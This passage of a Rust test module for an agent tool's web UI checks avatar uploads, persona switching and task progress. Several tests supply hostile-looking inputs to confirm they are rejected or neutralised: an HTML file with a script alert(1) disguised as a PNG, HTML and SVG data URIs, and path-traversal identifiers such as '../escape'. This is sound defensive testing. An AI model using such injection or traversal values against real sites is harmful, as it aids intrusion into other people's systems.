15212        );
15213        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15214        conversation.completion_notices[0]
15215            .notice
15216            .push_str("different");
15217        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15218        assert!(view.talk.turns[0].messages.is_empty());
15219        assert!(view.talk.pending_messages.is_empty());
15220    }
15221
15222    #[tokio::test]
15223    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15224        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15225        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15226            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15227        ))
15228        .await;
15229        let path = avatar_setting_path(home.path(), Some("rei"));
15230        let orphan = avatar_setting_path(home.path(), Some("removed"));
15231        save_icon_file(&orphan, icon).unwrap();
15232        for (saved, expected) in [
15233            (icon, "custom"),
15234            ("builtin", "builtin"),
15235            ("data:image/png;base64,!!!!", "inherit"),
15236            ("data:image/png;base64,PGh0bWw+", "inherit"),
15237            ("/tmp/avatar.png", "inherit"),
15238        ] {
15239            atomic_icon_write(&path, saved).unwrap();
15240            let catalog =
15241                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15242                    .await
15243                    .unwrap()
15244                    .0;
15245            let personas = catalog["personas"].as_array().unwrap();
15246            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15247            assert_eq!(rei["override_state"], expected);
15248            assert_eq!(rei["has_config_icon"], true);
15249            assert_eq!(rei["is_orphan"], false);
15250            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15251            assert_eq!(removed["override_state"], "custom");
15252            assert_eq!(removed["is_orphan"], true);
15253            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15254            assert_eq!(default["override_state"], "inherit");
15255            assert_eq!(default["has_config_icon"], false);
15256            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15257            assert_eq!(
15258                effective.as_deref(),
15259                Some(if expected == "builtin" { "" } else { icon })
15260            );
15261        }
15262    }
15263
15264    #[tokio::test]
15265    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15266        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15267        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15268            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15269        ))
15270        .await;
15271        let target = |id: Option<&str>| AvatarSettingsQuery {
15272            persona: id.map(str::to_owned),
15273            ..Default::default()
15274        };
15275        let original_config = config_for(&repo).await.unwrap();
15276        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15277        let original_prompt = persona::section_for(&original_persona, None);
15278        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15279            .await
15280            .unwrap()
15281            .0;
15282        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15283            let _ = avatar_settings_put(
15284                State(ui.clone()),
15285                Query(target(persona)),
15286                Json(MagiIconUpload { icon: icon.into() }),
15287            )
15288            .await
15289            .unwrap();
15290            let path = avatar_setting_path(home.path(), persona);
15291            assert!(path.starts_with(home.path().join("avatars")));
15292            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15293            for bad in [
15294                "/tmp/image.png".to_owned(),
15295                "data:image/png;base64,!!!!".to_owned(),
15296                "data:image/png;base64,PGh0bWw+".to_owned(),
15297                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15298                format!(
15299                    "data:image/png;base64,{}",
15300                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15301                ),
15302            ] {
15303                assert!(
15304                    avatar_settings_put(
15305                        State(ui.clone()),
15306                        Query(target(persona)),
15307                        Json(MagiIconUpload { icon: bad })
15308                    )
15309                    .await
15310                    .is_err()
15311                );
15312                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15313            }
15314        }
15315        assert!(read_magi_icon(home.path()).is_none());
15316        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15317        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15318            .await
15319            .unwrap()
15320            .0;
15321        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15322        assert_ne!(
15323            before
15324                .personas
15325                .iter()
15326                .find(|p| p.id == "magi")
15327                .unwrap()
15328                .avatar,
15329            after
15330                .personas
15331                .iter()
15332                .find(|p| p.id == "magi")
15333                .unwrap()
15334                .avatar
15335        );
15336        let restarted = Arc::new(Ui::new(
15337            Queue::at(home.path().join("queue")),
15338            Questions::at(home.path().join("questions")),
15339            Talks::at(home.path().join("talks")),
15340            home.path().join("runs"),
15341            home.path().to_owned(),
15342            repo,
15343        ));
15344        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15345            .await
15346            .unwrap()
15347            .0;
15348        assert!(
15349            catalog["personas"]
15350                .as_array()
15351                .unwrap()
15352                .iter()
15353                .any(|p| p["id"] == "../custom/日本語")
15354        );
15355        for expected in ["custom", "default", "rei"] {
15356            assert!(
15357                catalog["personas"]
15358                    .as_array()
15359                    .unwrap()
15360                    .iter()
15361                    .any(|p| p["id"] == expected)
15362            );
15363        }
15364        let response =
15365            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15366        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15367        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15368            .await
15369            .unwrap();
15370        assert_eq!(
15371            effective_persona_icon(home.path(), "rei", Some(icon)),
15372            Some(String::new())
15373        );
15374        let response = talk_avatar(
15375            State(restarted.clone()),
15376            Path(id.clone()),
15377            Query(AvatarQuery {
15378                persona: Some("rei".into()),
15379                ..Default::default()
15380            }),
15381        )
15382        .await
15383        .unwrap();
15384        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15385        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15386            .await
15387            .unwrap()
15388            .0;
15389        assert_ne!(
15390            after
15391                .personas
15392                .iter()
15393                .find(|p| p.id == "rei")
15394                .unwrap()
15395                .avatar,
15396            reset
15397                .personas
15398                .iter()
15399                .find(|p| p.id == "rei")
15400                .unwrap()
15401                .avatar
15402        );
15403        let mut inherit = target(Some("rei"));
15404        inherit.inherit = Some("1".into());
15405        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15406            .await
15407            .unwrap();
15408        assert_eq!(
15409            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15410            Some(icon)
15411        );
15412        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15413            .await
15414            .unwrap();
15415        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15416        assert_eq!(
15417            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15418            Some(icon)
15419        );
15420        // Display changes never rewrite the conversation or its prompt-bearing config.
15421        let cfg = config_for(&ui.repo).await.unwrap();
15422        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15423        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15424        assert!(!original_prompt.contains("data:image"));
15425        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15426        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15427        assert!(!stored.contains("data:image"));
15428        let mut orphan = ui.talks.get(&id).unwrap();
15429        orphan.persona = "../custom/日本語".into();
15430        let view = TalkView::with_config(
15431            orphan,
15432            false,
15433            Some(&cfg),
15434            home.path(),
15435            &id_links::IndexCache::default(),
15436        );
15437        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15438    }
15439
15440    #[tokio::test]
15441    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15442        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15443        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15444        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15445        let _ = magi_icon_put(
15446            State(ui.clone()),
15447            Json(MagiIconUpload { icon: icon.into() }),
15448        )
15449        .await
15450        .unwrap();
15451        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15452        assert_ne!(original, changed);
15453        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15454        let response = magi_avatar(
15455            State(ui.clone()),
15456            Query(AvatarQuery {
15457                persona: None,
15458                builtin: None,
15459            }),
15460        )
15461        .await;
15462        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15463        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15464        assert_eq!(
15465            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15466            "nosniff"
15467        );
15468        for bad in [
15469            "data:image/png;base64,PGh0bWw+".to_owned(),
15470            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15471            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15472        ] {
15473            assert!(save_magi_icon(home.path(), &bad).is_err());
15474            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15475        }
15476        // Re-opened server state reads the same independent home file.
15477        let restarted = Arc::new(Ui::new(
15478            Queue::at(home.path().join("queue")),
15479            Questions::at(home.path().join("questions")),
15480            Talks::at(home.path().join("talks")),
15481            home.path().join("runs"),
15482            home.path().to_path_buf(),
15483            repo,
15484        ));
15485        assert_eq!(
15486            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15487            changed
15488        );
15489        let view = TalkView::with_config(
15490            restarted.talks.get(&id).unwrap(),
15491            false,
15492            None,
15493            &restarted.home,
15494            &restarted.references,
15495        );
15496        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15497        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15498        let response = magi_avatar(
15499            State(ui.clone()),
15500            Query(AvatarQuery {
15501                persona: None,
15502                builtin: None,
15503            }),
15504        )
15505        .await;
15506        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15507            .await
15508            .unwrap();
15509        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15510        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15511        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15512        let _ = magi_icon_delete(State(ui)).await.unwrap();
15513    }
15514
15515    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15516    async fn avatar(
15517        ui: &Arc<Ui>,
15518        id: &str,
15519        persona: Option<&str>,
15520        builtin: bool,
15521    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15522        let res = talk_avatar(
15523            State(Arc::clone(ui)),
15524            Path(id.to_owned()),
15525            Query(AvatarQuery {
15526                persona: persona.map(str::to_owned),
15527                builtin: builtin.then(|| "1".to_owned()),
15528            }),
15529        )
15530        .await
15531        .expect("an avatar is never an error response");
15532        let h = res.headers();
15533        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15534        let nosniff = h
15535            .get(header::X_CONTENT_TYPE_OPTIONS)
15536            .is_some_and(|v| v == "nosniff");
15537        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15538        let status = res.status();
15539        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15540            .await
15541            .expect("body")
15542            .to_vec();
15543        (status, ct, nosniff, csp, body)
15544    }
15545
15546    fn tiny_png() -> Vec<u8> {
15547        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15548        b.extend_from_slice(&[0u8; 32]);
15549        b
15550    }
15551
15552    #[tokio::test]
15553    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15554        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15555        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15556        assert_eq!(res.status(), StatusCode::OK);
15557        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15558        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15559        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15560        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15561        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15562            .await
15563            .unwrap();
15564        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15565        assert_ne!(
15566            persona_icon::operator_svg(),
15567            persona_icon::builtin_svg("default")
15568        );
15569    }
15570
15571    #[tokio::test]
15572    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15573        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15574        for p in [
15575            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15576        ] {
15577            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15578            assert_eq!(status, StatusCode::OK, "{p}");
15579            assert_eq!(ct, "image/svg+xml", "{p}");
15580            assert!(nosniff && csp, "{p}");
15581            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15582        }
15583        // No `persona` means the conversation's own; unknown ones fall back.
15584        let own = avatar(&ui, &id, None, false).await;
15585        let default = avatar(&ui, &id, Some("default"), false).await;
15586        assert_eq!(own.4, default.4);
15587        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15588        assert_eq!(unknown.1, "image/svg+xml");
15589    }
15590
15591    #[tokio::test]
15592    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15593        let dir = TempDir::new().expect("icons");
15594        let good = dir.path().join("good.png");
15595        std::fs::write(&good, tiny_png()).unwrap();
15596        let spoof = dir.path().join("spoof.png");
15597        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15598        let big = dir.path().join("big.png");
15599        let mut bytes = tiny_png();
15600        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15601        std::fs::write(&big, bytes).unwrap();
15602        let missing = dir.path().join("missing.png");
15603        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15604        let extra = format!(
15605            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15606             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15607             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15608             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15609             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15610             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15611            uri(&good),
15612            uri(&spoof),
15613            uri(&big),
15614            uri(&missing),
15615        );
15616        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15617
15618        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15619        assert_eq!(
15620            (status, ct.as_str(), nosniff),
15621            (StatusCode::OK, "image/png", true)
15622        );
15623        assert_eq!(body, tiny_png());
15624        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15625        assert_eq!(ct, "image/png", "data URI");
15626
15627        for p in ["misato", "asuka", "shinji", "magi"] {
15628            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15629            assert_eq!(
15630                (status, ct.as_str(), csp),
15631                (StatusCode::OK, "image/svg+xml", true),
15632                "{p}"
15633            );
15634            assert!(body.starts_with(b"<svg"), "{p}");
15635        }
15636        // The page's own retry skips the icon.
15637        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15638        assert_eq!(ct, "image/svg+xml");
15639    }
15640
15641    #[tokio::test]
15642    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15643        let oversized = format!(
15644            "data:image/png;base64,{}",
15645            "A".repeat(persona_icon::ICON_MAX_BYTES)
15646        );
15647        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15648            let extra = format!(
15649                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15650            );
15651            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15652            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15653                .await
15654                .expect("detail with invalid icon");
15655            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15656            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15657            assert_eq!(status, StatusCode::OK);
15658            assert_eq!(ct, "image/svg+xml");
15659            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15660            let Json(view) = talk_persona(
15661                State(Arc::clone(&ui)),
15662                Path(id.clone()),
15663                Json(TalkPersona {
15664                    persona: "custom".into(),
15665                }),
15666            )
15667            .await
15668            .expect("persona switch with invalid icon");
15669            assert_eq!(view.talk.persona, "custom");
15670            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15671        }
15672    }
15673
15674    #[tokio::test]
15675    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15676        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15677        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15678        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15679        assert_eq!(
15680            (status, ct.as_str(), nosniff, csp),
15681            (StatusCode::OK, "image/svg+xml", true, true)
15682        );
15683    }
15684
15685    #[tokio::test]
15686    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15687        let (_t, _h, ui, id, _repo) =
15688            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15689        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15690            .await
15691            .expect("detail");
15692        let json = serde_json::to_string(&detail).unwrap();
15693        assert!(
15694            !json.contains("secret"),
15695            "the icon setting must not leak: {json}"
15696        );
15697        assert!(
15698            detail
15699                .view
15700                .persona_avatar
15701                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15702        );
15703        assert_eq!(
15704            detail.view.operator_avatar,
15705            format!(
15706                "/avatars/operator.svg?v={}",
15707                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15708            )
15709        );
15710        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15711        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15712        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15713        assert!(rei.avatar.contains("persona=rei&v="));
15714        assert_ne!(
15715            rei.avatar.split("&v=").nth(1),
15716            plain.avatar.split("&v=").nth(1)
15717        );
15718    }
15719
15720    #[tokio::test]
15721    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15722        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15723        let cfg = config_for(&repo).await.unwrap();
15724        for arrived in [false, true] {
15725            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15726            let observed = ui.queued_generation(&id);
15727            let talk = ui.talks.get(&id).unwrap();
15728            if arrived {
15729                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15730            }
15731            let mut settling = std::pin::pin!(settle_settings_turn(
15732                talk,
15733                ui.talks.clone(),
15734                cfg.clone(),
15735                id.clone(),
15736                turn,
15737                observed
15738            ));
15739            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15740            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15741            assert_eq!(first.is_pending(), arrived);
15742            if arrived {
15743                assert!(!settling.await);
15744            }
15745            assert!(!ui.is_thinking(&id));
15746        }
15747    }
15748
15749    #[tokio::test]
15750    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15751        let tmp = TempDir::new().expect("tempdir");
15752        let repo = tmp.path().join("repo");
15753        std::fs::create_dir_all(&repo).expect("repo dir");
15754        std::fs::write(
15755            repo.join("magi.toml"),
15756            format!(
15757                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15758            ),
15759        )
15760        .expect("write magi.toml");
15761        let home = TempDir::new().expect("temp home");
15762        let talks = Talks::at(home.path().join("talks"));
15763        let ui = Arc::new(
15764            Ui::new(
15765                Queue::at(home.path().join("queue")),
15766                Questions::at(home.path().join("questions")),
15767                talks.clone(),
15768                home.path().join("runs"),
15769                home.path().to_path_buf(),
15770                repo.clone(),
15771            )
15772            .with_worktrees_root(home.path().join("wt")),
15773        );
15774        let cfg = config_for(&repo).await.expect("discover config");
15775        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15776        let id = talk.id.clone();
15777        let call = |persona: &str| {
15778            talk_persona(
15779                State(Arc::clone(&ui)),
15780                Path(id.clone()),
15781                Json(TalkPersona {
15782                    persona: persona.to_owned(),
15783                }),
15784            )
15785        };
15786
15787        let unknown = call("nobody").await.expect_err("unknown persona");
15788        assert_eq!(
15789            unknown.status,
15790            StatusCode::BAD_REQUEST,
15791            "{}",
15792            unknown.message
15793        );
15794
15795        {
15796            // Nothing refused so far took a claim, so the guard is free to take
15797            // and holding it is what makes the talk busy.
15798            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15799            let busy = call("rei").await.expect_err("busy talk");
15800            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15801            assert!(
15802                busy.message.contains("a talk turn is running"),
15803                "{}",
15804                busy.message
15805            );
15806            drop(guard);
15807        }
15808        assert_eq!(talks.get(&id).expect("reload").persona, "");
15809
15810        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15811        assert_eq!(view.talk.persona, "gendo");
15812        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15813        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15814        // No intervening I/O or sleep may be needed before another change.
15815        for chosen in ["default", "gendo", "rei", "gendo"] {
15816            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15817            assert!(!view.thinking);
15818            assert!(!ui.is_thinking(&id));
15819        }
15820
15821        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15822            .await
15823            .expect("detail");
15824        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15825        assert_eq!(ids.first(), Some(&"default"));
15826        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15827
15828        let Json(view) = call("default").await.expect("back to default");
15829        assert_eq!(view.talk.persona, "");
15830
15831        let mut closed = talks.get(&id).expect("reload");
15832        talk::close(&mut closed, &talks).expect("close");
15833        let refused = call("rei").await.expect_err("closed talk");
15834        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15835        assert!(
15836            refused.message.contains("takes no more turns"),
15837            "{}",
15838            refused.message
15839        );
15840    }
15841
15842    #[tokio::test]
15843    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15844        let f = Fixture::start().await;
15845        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15846        let queue = f.queue();
15847        let mut mine = Task::new(
15848            "rename the loader".to_owned(),
15849            "rename the loader".to_owned(),
15850            PathBuf::from("/repo/magi"),
15851            Source::Agent {
15852                run: talk_id.clone(),
15853                node: "chat".to_owned(),
15854            },
15855        );
15856        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15857        assert_eq!(empty["task_progress"]["state"], "none");
15858        assert_eq!(empty["task_progress"]["total"], 0);
15859        queue.put(&mut mine).expect("file the task");
15860        let mut theirs = Task::new(
15861            "unrelated".to_owned(),
15862            "unrelated".to_owned(),
15863            PathBuf::from("/repo/magi"),
15864            Source::Human,
15865        );
15866        // A later task linked through origin_chat alone is outside this list.
15867        theirs.origin_chat = Some(talk_id.clone());
15868        queue.put(&mut theirs).expect("file the task");
15869
15870        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15871        assert_eq!(res.status, 200, "{}", res.body);
15872        let body = res.json();
15873        assert_eq!(
15874            body["status"], "open",
15875            "filing a task does not close a talk"
15876        );
15877        let tasks = body["tasks"].as_array().expect("tasks array");
15878        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15879        assert_eq!(tasks[0]["id"], mine.id);
15880        for status in [
15881            TaskStatus::Queued,
15882            TaskStatus::Running,
15883            TaskStatus::Held,
15884            TaskStatus::Failed,
15885            TaskStatus::Blocked,
15886            TaskStatus::Parked,
15887            TaskStatus::Done,
15888            TaskStatus::Queued,
15889        ] {
15890            mine.status = status;
15891            queue.put(&mut mine).expect("update status");
15892            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15893            let progress = &detail["task_progress"];
15894            assert_eq!(progress["total"], 1);
15895            assert_eq!(progress["counts"][status.as_str()], 1);
15896            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15897            assert_eq!(detail["status"], "open", "completion never closes the chat");
15898            if status == TaskStatus::Done {
15899                assert_eq!(progress["state"], "complete");
15900                assert_eq!(progress["done"], 1);
15901                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15902            } else {
15903                assert_eq!(progress["state"], "incomplete");
15904                assert_eq!(progress["done"], 0);
15905                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15906            }
15907        }
15908    }
15909
15910    #[test]
15911    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15912        let home = tempfile::tempdir().unwrap();
15913        let runs = home.path().join("runs");
15914        let queue = Queue::at(home.path().join("queue"));
15915        let talks = Talks::at(home.path().join("talks"));
15916        let config = stub_config();
15917        let repo = PathBuf::from("/repo/magi");
15918        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15919        let reserve_run = |repo| {
15920            let mut run = RunState::new(
15921                repo,
15922                "main".into(),
15923                "0000000".into(),
15924                "Follow the review".into(),
15925                config.clone(),
15926            );
15927            run.reserve_under(home.path()).unwrap();
15928            run
15929        };
15930        let older = reserve_run(repo.clone());
15931        let newer = reserve_run(repo.clone());
15932        let foreign = reserve_run(PathBuf::from("/repo/other"));
15933        let mismatched = reserve_run(repo.clone());
15934        let corrupt = reserve_run(repo.clone());
15935        let run_file = |id: &str| runs.join(id).join("run.json");
15936        std::fs::write(
15937            run_file(&mismatched.id),
15938            serde_json::to_vec(&older).unwrap(),
15939        )
15940        .unwrap();
15941        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15942        let goal = |tasks: Vec<String>, runs: Vec<String>| {
15943            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15944                "id": "g", "purpose": "Follow the review", "scope": "review",
15945                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15946                "state": "waiting", "step": "Follow the recorded review",
15947                "source_turn": 0, "owner_input": "Follow the review",
15948                "tasks": tasks, "runs": runs, "watches": [],
15949                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15950                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15951            }))
15952            .unwrap()
15953        };
15954        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15955
15956        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15957        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15958
15959        let unusable = vec![
15960            foreign.id.clone(),
15961            mismatched.id.clone(),
15962            corrupt.id.clone(),
15963            "missing".into(),
15964            "../escape".into(),
15965        ];
15966        let mut references = vec![older.id.clone()];
15967        references.extend(unusable.clone());
15968        talk.goals = vec![goal(vec![], references)];
15969        assert_eq!(link(&talk), Some(("run", older.id.clone())));
15970
15971        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15972        assert_eq!(link(&talk), None);
15973
15974        let mut task = Task::new(
15975            "Review".into(),
15976            "Follow the review".into(),
15977            repo,
15978            Source::Human,
15979        );
15980        queue.put(&mut task).unwrap();
15981        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15982        assert_eq!(link(&talk), Some(("task", task.id.clone())));
15983
15984        task.runs.push(older.id.clone());
15985        queue.put(&mut task).unwrap();
15986        assert_eq!(link(&talk), Some(("run", older.id)));
15987    }
15988
15989    #[test]
15990    fn talk_task_progress_counts_mixed_statuses() {
15991        let mut tasks: Vec<_> = [
15992            TaskStatus::Queued,
15993            TaskStatus::Running,
15994            TaskStatus::Held,
15995            TaskStatus::Failed,
15996            TaskStatus::Blocked,
15997            TaskStatus::Parked,
15998            TaskStatus::Done,
15999        ]
16000        .into_iter()
16001        .map(|status| {
16002            let mut task = Task::new(
16003                "task".into(),
16004                "task".into(),
16005                PathBuf::from("/repo"),
16006                Source::Human,
16007            );
16008            task.status = status;
16009            task
16010        })
16011        .collect();
16012        let progress = talk_task_progress(&tasks);
16013        assert_eq!(progress.state, "incomplete");
16014        assert_eq!(progress.total, 7);
16015        assert_eq!(progress.done, 1);
16016        assert_eq!(progress.unfinished_ids.len(), 6);
16017        assert!(progress.counts.values().all(|count| *count == 1));
16018        assert_eq!(
16019            progress.unfinished_ids,
16020            tasks[..6]
16021                .iter()
16022                .map(|task| task.id.clone())
16023                .collect::<Vec<_>>()
16024        );
16025
16026        for task in &mut tasks {
16027            task.status = TaskStatus::Done;
16028        }
16029        let complete = talk_task_progress(&tasks);
16030        assert_eq!(complete.state, "complete");
16031        assert_eq!(complete.done, 7);
16032        assert!(complete.unfinished_ids.is_empty());
16033        tasks[0].status = TaskStatus::Queued;
16034        let requeued = talk_task_progress(&tasks);
16035        assert_eq!(requeued.state, "incomplete");
16036        assert_eq!(requeued.done, 6);
16037        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16038
